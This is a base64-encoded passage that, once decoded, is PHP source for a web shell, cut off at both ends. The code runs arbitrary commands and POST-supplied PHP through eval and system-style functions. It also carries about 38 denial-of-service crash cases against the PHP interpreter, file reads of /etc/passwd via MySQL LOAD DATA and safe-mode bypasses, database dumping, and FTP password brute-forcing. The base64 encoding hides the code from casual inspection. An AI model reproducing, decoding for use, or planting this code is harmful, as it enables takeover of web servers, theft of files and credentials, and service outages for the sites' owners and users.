SAndGVzdDI1JzoNCiAgQHJlYWRmaWxlKCRfUE9TVFsndGVzdDI1X2ZpbGUxJ10sIDMsICJwaHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9TVFsndGVzdDI0X2ZpbGUyJ10pOw0KICAkZmlsZW49JF9QT1NUWyd0ZXN0MjVfZmlsZTInXTsNCiAgaWYoZmlsZV9leGlzdHMoJGZpbGVuKSkNCiAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsNCiAgZWxzZQ0KICBlY2hvICJDYW4ndCB3cml0ZSBmaWxlIjsNCiAgYnJlYWs7DQpicmVhazsNCg0KIH0NCn0NCmVsc2UgaWYoKCRfUE9TVFsnY21kJ10hPSJwaHBfZXZhbCIpJiYoJF9QT1NUWydjbWQnXSE9Im15c3FsX2R1bXAiKSYmKCRfUE9TVFsnY21kJ10hPSJkYl9xdWVyeSIpJiYoJF9QT1NUWydjbWQnXSE9ImZ0cF9icnV0ZSIpKXsNCiAkY21kX3JlcCA9IGV4KCRfUE9TVFsnY21kJ10pOw0KIGlmKCEkdW5peCkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBjb252ZXJ0X2N5cl9zdHJpbmcoJGNtZF9yZXAsJ2QnLCd3JykpLiJcbiI7IH0NCiBlbHNlIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkY21kX3JlcCkuIlxuIjsgfX0NCg0KIHN3aXRjaCgkX1BPU1RbJ2NtZCddKQ0KIHsNCiAgY2FzZSAnZG9zMSc6DQogIGZ1bmN0aW9uIGEoKSB7IGEoKTsgfSBhKCk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyJzoNCiAgQHBhY2soImQ0Mjk0OTY3Mjk3IiwgMik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MzJzoNCiAgJGEgPSAiYSI7QHVuc2VyaWFsaXplKEBzdHJfcmVwbGFjZSgnMScsIDIxNDc0ODM2NDcsIEBzZXJpYWxpemUoJGEpKSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3M0JzoNCiAgJHQgPSBhcnJheSgxKTt3aGlsZSAoMSkgeyRhW10gPSAmJHQ7fTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczUnOg0KICBAZGwoInNxbGl0ZS5zbyIpOyRkYiA9IG5ldyBTcWxpdGVEYXRhYmFzZSgiZm9vIik7DQogIGJyZWFrOw0KICBjYXNlICdkb3M2JzoNCiAgcHJlZ19tYXRjaCgnLyguKD8hYikpKi8nLCBAc3RyX3JlcGVhdCgiYSIsIDEwMDAwKSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3M3JzoNCiAgQHN0cl9yZXBsYWNlKCJBIiwgc3RyX3JlcGVhdCgiQiIsIDY1NTM1KSwgc3RyX3JlcGVhdCgiQSIsIDY1NTM4KSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3M4JzoNCiAgQHNoZWxsX2V4ZWMoImtpbGxhbGwgLTExIGh0dHBkIik7DQogIGJyZWFrOw0KICBjYXNlICdkb3M5JzoNCiAgZnVuY3Rpb24gY3goKXsgQHRlbXBuYW0oIi93d3cvIiwgJy4uLy4uLy4uLy4uLy4uLy4uJy4kdGVtcGRpci4nY3gnKTsgY3goKTsgfSBjeCgpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTAnOg0KICAkYSA9IEBzdHJfcmVwZWF0ICgiQSIsNDM4MDEzKTskYiA9IEBzdHJfcmVwZWF0ICgiQiIsOTUxMTQwKTtAd29yZHdyYXAgKCRhLDAsJGIsMCk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MxMSc6DQogIEBhcnJheV9maWxsKDEsMTIzNDU2Nzg5LCJJbmZpZ28tSVMiKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczEyJzoNCiAgQHN1YnN0cl9jb21wYXJlKCJBIiwiQSIsMTIzNDU2NzgpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTMnOg0KICBAdW5zZXJpYWxpemUoImE6MjE0NzQ4MzY0OTp7Iik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MxNCc6DQogICREYXRhID0gQHN0cl9pcmVwbGFjZSgiXG4iLCAiPGJyPiIsICREYXRhKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczE1JzoNCiAgZnVuY3Rpb24gdG9VVEYoJHgpIHtyZXR1cm4gY2hyKCgkeCA+PiA2KSArIDE5MikgLiBjaHIoKCR4ICYgNjMpICsgMTI4KTt9DQogICRzdHIxID0gIiI7Zm9yKCRpPTA7ICRpIDwgNjQ7ICRpKyspeyAkc3RyMSAuPSB0b1VURig5NzcpO30NCiAgQGh0bWxlbnRpdGllcygkc3RyMSwgRU5UX05PUVVPVEVTLCAiVVRGLTgiKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczE2JzoNCiAgJHIgPSBAemlwX29wZW4oInguemlwIik7JGUgPSBAemlwX3JlYWQoJHIpOyR4ID0gQHppcF9lbnRyeV9vcGVuKCRyLCAkZSk7DQogIGZvciAoJGk9MDsgJGk8MTAwMDsgJGkrKykgJGFyclskaV09YXJyYXkoYXJyYXkoIiIpKTsNCiAgdW5zZXQoJGFycls2MDBdKTtAemlwX2VudHJ5X3JlYWQoJGUsIC0xKTt1bnNldCgkYXJyWzYwMV0pOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTcnOg0KICAkeiA9ICJVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVSI7DQogICR5ID0gIkREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREIjsNCiAgJHggPSAiQVEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiOw0KICB1bnNldCgkeik7dW5zZXQoJHkpOyR4ID0gYmFzZTY0X2RlY29kZSgkeCk7JHkgPSBAc3FsaXRlX3VkZl9kZWNvZGVfYmluYXJ5KCR4KTt1bnNldCgkeCk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MxOCc6DQogICRNU0dLRVkgPSA1MTkwNTI7JG1zZ19pZCA9IEBtc2dfZ2V0X3F1ZXVlICgkTVNHS0VZLCAwNjAwKTsNCiAgaWYgKCFAbXNnX3NlbmQgKCRtc2dfaWQsIDEsICdBQUFBQkJCQkNDQ0NERERERUVFRUZGRkZHR0dHSEhISCcsIGZhbHNlLCB0cnVlLCAkbXNnX2VycikpDQogIGVjaG8gIk1zZyBub3Qgc2VudCBiZWNhdXNlICRtc2dfZXJyXG4iOw0KICBpZiAoQG1zZ19yZWNlaXZlICgkbXNnX2lkLCAxLCAkbXNnX3R5cGUsIDB4ZmZmZmZmZmYsICRfU0VTU0lPTiwgZmFsc2UsIDAsICRtc2dfZXJyb3IpKSB7DQogIGVjaG8gIiRtc2dcbiI7DQogIH0gZWxzZSB7IGVjaG8gIlJlY2VpdmVkICRtc2dfZXJyb3IgZmV0Y2hpbmcgbWVzc2FnZVxuIjsgYnJlYWs7IH0NCiAgQG1zZ19yZW1vdmVfcXVldWUgKCRtc2dfaWQpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTknOg0KICAkdXJsID0gInBocDovL2ZpbHRlci9yZWFkPU9GRl9CWV9PTkUuL3Jlc291cmNlPS9ldGMvcGFzc3dkIjsgQGZvcGVuKCR1cmwsICJyIik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyMCc6DQogICRoYXNodGFibGUgPSBzdHJfcmVwZWF0KCJBIiwgMzkpOw0KICAkaGFzaHRhYmxlWzUqNCswXT1jaHIoMHg1OCk7JGhhc2h0YWJsZVs1KjQrMV09Y2hyKDB4NDApOyRoYXNodGFibGVbNSo0KzJdPWNocigweDA2KTskaGFzaHRhYmxlWzUqNCszXT1jaHIoMHgwOCk7DQogICRoYXNodGFibGVbOCo0KzBdPWNocigweDY2KTskaGFzaHRhYmxlWzgqNCsxXT1jaHIoMHg3Nyk7JGhhc2h0YWJsZVs4KjQrMl09Y2hyKDB4ODgpOyRoYXNodGFibGVbOCo0KzNdPWNocigweDk5KTsNCiAgJHN0ciA9ICdhOjEwMDAwMDp7czo4OiJBQUFBQkJCQiI7YTozOntzOjEyOiIwMTIzNDU2Nzg5QUEiO2E6MTp7czoxMjoiQUFBQUJCQkJDQ0NDIjtpOjA7fXM6MTI6IjAxMjM0NTY3OEFBQSI7aTowO3M6MTI6IjAxMjM0NTY3OEJBTiI7aTowO30nOw0KICBmb3IgKCRpPTA7ICRpPDY1NTM1OyAkaSsrKSB7ICRzdHIgLj0gJ2k6MDtSOjI7JzsgfQ0KICAkc3RyIC49ICdzOjM5OiJYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFgiO3M6Mzk6IicuJGhhc2h0YWJsZS4nIjtpOjA7UjozOyc7DQogIEB1bnNlcmlhbGl6ZSgkc3RyKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczIxJzoNCiAgaW1hZ2VjcmVhdGV0cnVlY29sb3IoMTIzNCwxMDczNzQxODI0KTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczIyJzoNCiAgaW1hZ2Vjb3B5cmVzaXplZChpbWFnZWNyZWF0ZXRydWVjb2xvcigweDdmZmZmZmZmLCAxMjApLGltYWdlY3JlYXRldHJ1ZWNvbG9yKDEyMCwgMTIwKSwgMCwgMCwgMCwgMCwgMHg3ZmZmZmZmZiwgMTIwLCAxMjAsIDEyMCk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyMyc6DQogICRhID0gc3RyX3JlcGVhdCAoIkEiLDk5ODk3NzYpOyAkYiA9IHN0cl9yZXBlYXQoIi8iLCAyNzk4MzQ5KTsgaWNvbnZfc3Vic3RyKCRhLDAsMSwkYik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyNCc6DQogIHNldGxvY2FsZShMQ19DT0xMQVRFLCBzdHJfcmVwZWF0KCJBIiwgMzQ0MzgwMTMpKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczI1JzoNCiAgZ2xvYihzdHJfcmVwZWF0KCJBIiwgOTYzODAxMykpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMjYnOg0KICBnbG9iKCJhIiwtMSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyNyc6DQogIGZubWF0Y2goIipbMV1lIiwgc3RyX3JlcGVhdCgiQSIsIDk2MzgwMTMpKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczI4JzoNCiAgaWYgKGV4dGVuc2lvbl9sb2FkZWQoImdkIikpeyAkYnVmZiA9IHN0cl9yZXBlYXQoIkEiLDk5OTkpOyAkcmVzID0gaW1hZ2Vwc2xvYWRmb250KCRidWZmKTsgZWNobyAiYm9vbSEhXG4iO30NCiAgYnJlYWs7DQogIGNhc2UgJ2RvczI5JzoNCiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3FsX2Nvbm5lY3QnKSl7IG1zcWxfcGNvbm5lY3Qoc3RyX3JlcGVhdCgnQScsNDk0MjQpLidCQkJCJyk7IG1zcWxfY29ubmVjdChzdHJfcmVwZWF0KCdBJyw0OTQyNCkuJ0JCQkInKTt9DQogIGJyZWFrOw0KICBjYXNlICdkb3MzMCc6DQogICRhPXN0cl9yZXBlYXQoIkEiLCA2NTUzNSk7ICAkYj0xOyAgJGM9c3RyX3JlcGVhdCgiQSIsIDY1NTM1KTsgIGNodW5rX3NwbGl0KCRhLCRiLCRjKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczMxJzoNCiAgaWYgKGV4dGVuc2lvbl9sb2FkZWQoIndpbjMyc3RkIikgKSB7IHdpbl9icm93c2VfZmlsZSggMSwgTlVMTCwgc3RyX3JlcGVhdCggIlx4OTAiLCAyNjQgKSwgTlVMTCwgYXJyYXkoICIqIiA9PiAiKi4qIiApICk7fQ0KICBicmVhazsNCiAgY2FzZSAnZG9zMzInOg0KICBpZiAoZXh0ZW5zaW9uX2xvYWRlZCggImlpc2Z1bmMiICkgKXsgJGJ1Zl91bmljb2RlID0gc3RyX3JlcGVhdCggIkEiLCAyNTYgKTsgJGVpcF91bmljb2RlID0gIlx4NDFceDQxIjsgaWlzX2dldHNlcnZpY2VzdGF0ZSggJGJ1Zl91bmljb2RlIC4gJGVpcF91bmljb2RlICk7fQ0KICBicmVhazsNCiAgY2FzZSAnZG9zMzMnOg0KICAkYnVmZiA9IHN0cl9yZXBlYXQoIlx4NDEiLCAyNTApOyRnZXRfRUlQID0gIlx4NDJceDQyIjskZ2V0X0VTUCA9IHN0cl9yZXBlYXQoIlx4NDMiLCAxMDApOyRnZXRfRUJQID0gc3RyX3JlcGVhdCgiXHg0NCIsIDEwMCk7bnR1c2VyX2dldHVzZXJsaXN0KCRidWZmLiRnZXRfRUlQLiRnZXRfRVNQLiRnZXRfRUJQKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczM0JzoNCiAgaWYgKGV4dGVuc2lvbl9sb2FkZWQoImJ6MiIpKXsgJGJ1ZmYgPSBzdHJfcmVwZWF0KCJhIiwxMDAwKTsgY29tX3ByaW50X3R5cGVpbmZvKCRidWZmKTt9DQogIGJyZWFrOw0KICBjYXNlICdkb3MzNSc6DQogICRhID0gc3RyX3JlcGVhdCgiLyIsIDQxOTkwMDApOyBpY29udigxLCAkYSwgMSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MzNic6DQogICRhID0gc3RyX3JlcGVhdCgiLyIsIDI5OTEzNzApOyBpY29udl9taW1lX2RlY29kZV9oZWFkZXJzKDAsIDEsICRhKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczM3JzoNCiAgJGEgPSBzdHJfcmVwZWF0KCIvIiwgMzc5OTAwMCk7IGljb252X21pbWVfZGVjb2RlKDEsIDAsICRhKTsNCiBicmVhazsNCmJyZWFrOw0KIGNhc2UgJ2RvczM4JzoNCiAkYSA9IHN0cl9yZXBlYXQoIi8iLCA5NzkxOTk5KTsgaWNvbnZfc3RybGVuKDEsICRhKTsNCiBicmVhazsNCn0NCmlmICgkX1BPU1RbJ2NtZCddPT0iQWx1Y2FyX215c3FsIikNCiB7DQogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDNfc3InXSkpIHsgJF9QT1NUWyd0ZXN0M19zciddID0gImxvY2FsaG9zdCI7IH0NCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0M19wb3J0J10pKSB7ICRfUE9TVFsndGVzdDNfcG9ydCddID0gIjMzMDYiOyB9DQogICRkYiA9IEBteXNxbF9jb25uZWN0KCRfUE9TVFsndGVzdDNfc3InXS4nOicuJF9QT1NUWyd0ZXN0M19wb3J0J10sJF9QT1NUWyd0ZXN0M19tbCddLCRfUE9TVFsndGVzdDNfbXAnXSk7DQogIGlmKCRkYikNCiAgIHsNCiAgIGlmKEBteXNxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0M19tZCddLCRkYikpDQogICAgew0KICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KICAgICBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgQWx1Y2FyYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogICAgIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuc3RyX3JlcGxhY2UoJ1xcJywnLycsJF9QT1NUWyd0ZXN0M19maWxlJ10pLiJcIiBJTlRPIFRBQkxFIEFsdWNhciBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ1xuJyIpOw0KICAgICAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBBbHVjYXIiKTsNCiAgICAgd2hpbGUoKCRyX3NxbCA9IEBteXNxbF9mZXRjaF9hcnJheSgkcikpKSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzBdKTsgfQ0KICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KICAgIH0NCiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsNCiAgIEBteXNxbF9jbG9zZSgkZGIpOw0KICAgfQ0KICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBteXNxbCBzZXJ2ZXIiOw0KIH0NCmlmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogJHN1YyA9IDA7DQogZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogIHsNCiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlciwkdXNlcikpIHsgZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0NCiAgZWxzZSBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfSB9DQogIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICB9DQogZWNobyAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiAkY291bnQgPSBjb3VudCgkdXNlcnMpOw0KIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkgeyAkY291bnQgKj0gMjsgfQ0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KIH0NCmlmICgkX1BPU1RbJ2NtZCddPT0icGhwX2V2YWwiKXsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7DQogJGV2YWwgPSBAc3RyX3JlcGxhY2UoIj8+IiwiIiwkZXZhbCk7DQogQGV2YWwoJGV2YWwpO30NCmlmICgkX1BPU1RbJ2NtZCddPT0ibXlzcWxfZHVtcCIpDQogew0KICBpZihpc3NldCgkX1BPU1RbJ2RpZiddKSkgeyAkZnAgPSBAZm9wZW4oJF9QT1NUWydkaWZfbmFtZSddLCAidyIpOyB9DQogICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQogICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiAgJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICBpZighJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyIjsgfQ0KICBlbHNlIGlmKCEkc3FsLT5zZWxlY3RfZGIoKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7IH0NCiAgZWxzZSBpZighJHNxbC0+ZHVtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IGNyZWF0ZSBkdW1wIjsgfQ0KICBlbHNlIHsNCiAgIGlmKGVtcHR5KCRfUE9TVFsnZGlmJ10pKSB7IGZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdikgZWNobyAkdi4iXHJcbiI7IH0NCiAgIGVsc2UgaWYoJGZwKXsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBAZnB1dHMoJGZwLCR2LiJcclxuIik7IH0NCiAgIGVsc2UgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHdyaXRlIGluIGR1bXAgZmlsZSI7IH0NCiAgIH0NCiB9DQplY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQplY2hvICI8L2I+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsNCmZ1bmN0aW9uIGRpdl90aXRsZSgkdGl0bGUsICRpZCkNCnsNCiAgcmV0dXJuICc8YSBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25DbGljaz0iY2hhbmdlX2RpdnN0KFwnJy4kaWQuJ1wnKTsiPicuJHRpdGxlLic8L2E+JzsNCn0NCmZ1bmN0aW9uIGRpdigkaWQpDQogew0KIGlmKGlzc2V0KCRfQ09PS0lFWyRpZF0pICYmICRfQ09PS0lFWyRpZF09PTApIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4nOw0KIHJldHVybiAnPGRpdiBpZD0iJy4kaWQuJyI+JzsNCiB9DQppZighJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdjbWQnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplbHNlew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cDIuZGl2KCdpZDInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2FmZV9kaXInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwOCddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1cIm1ldGhvZFwiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJzeXN0ZW1cIiA8PyBpZiAoJG1ldGhvZD09XCJzeXN0ZW1cIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnN5c3RlbTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwYXNzdGhydVwiIDw/IGlmICgkbWV0aG9kPT1cInBhc3N0aHJ1XCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wYXNzdGhydTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJleGVjXCIgPD8gaWYgKCRtZXRob2Q9PVwiZXhlY1wiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+ZXhlYzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJzaGVsbF9leGVjXCIgPD8gaWYgKCRtZXRob2Q9PVwic2hlbGxfZXhlY1wiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+c2hlbGxfZXhlYzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwb3BlblwiIDw/IGlmICgkbWV0aG9kPT1cInBvcGVuXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wb3Blbjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwcm9jX29wZW5cIiA8PyBpZiAoJG1ldGhvZD09XCJwcm9jX29wZW5cIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnByb2Nfb3Blbjwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdjb21tYW5kJyw1NCwoIWVtcHR5KCRfUE9TVFsnY29tbWFuZCddKT8oJF9QT1NUWydjb21tYW5kJ10pOigiaWQiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NvbW1hbmQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KDQoNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDMnXSwnaWQ0MTEnKS4kdGFibGVfdXAyLmRpdignaWQ0MTEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaW5pX3Jlc3RvcmUnLDg1LCcvZXRjL3Bhc3N3ZCcpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2luaV9yZXN0b3JlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMjQnXSwnaWQ1MTEnKS4kdGFibGVfdXAyLmRpdignaWQ1MTEnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMDInXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInBsdWdpblwiPjxvcHRpb24gdmFsdWU9XCJwbHVnaW5cIj4vZXRjL3Bhc3N3ZDwvb3B0aW9uPjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwncGx1Z2luJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ3J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MiddLCdpZDMnKS4kdGFibGVfdXAyLmRpdignaWQzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZV9uYW1lJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdlZGl0X2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDExJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjA0J10sJ2lkMjA0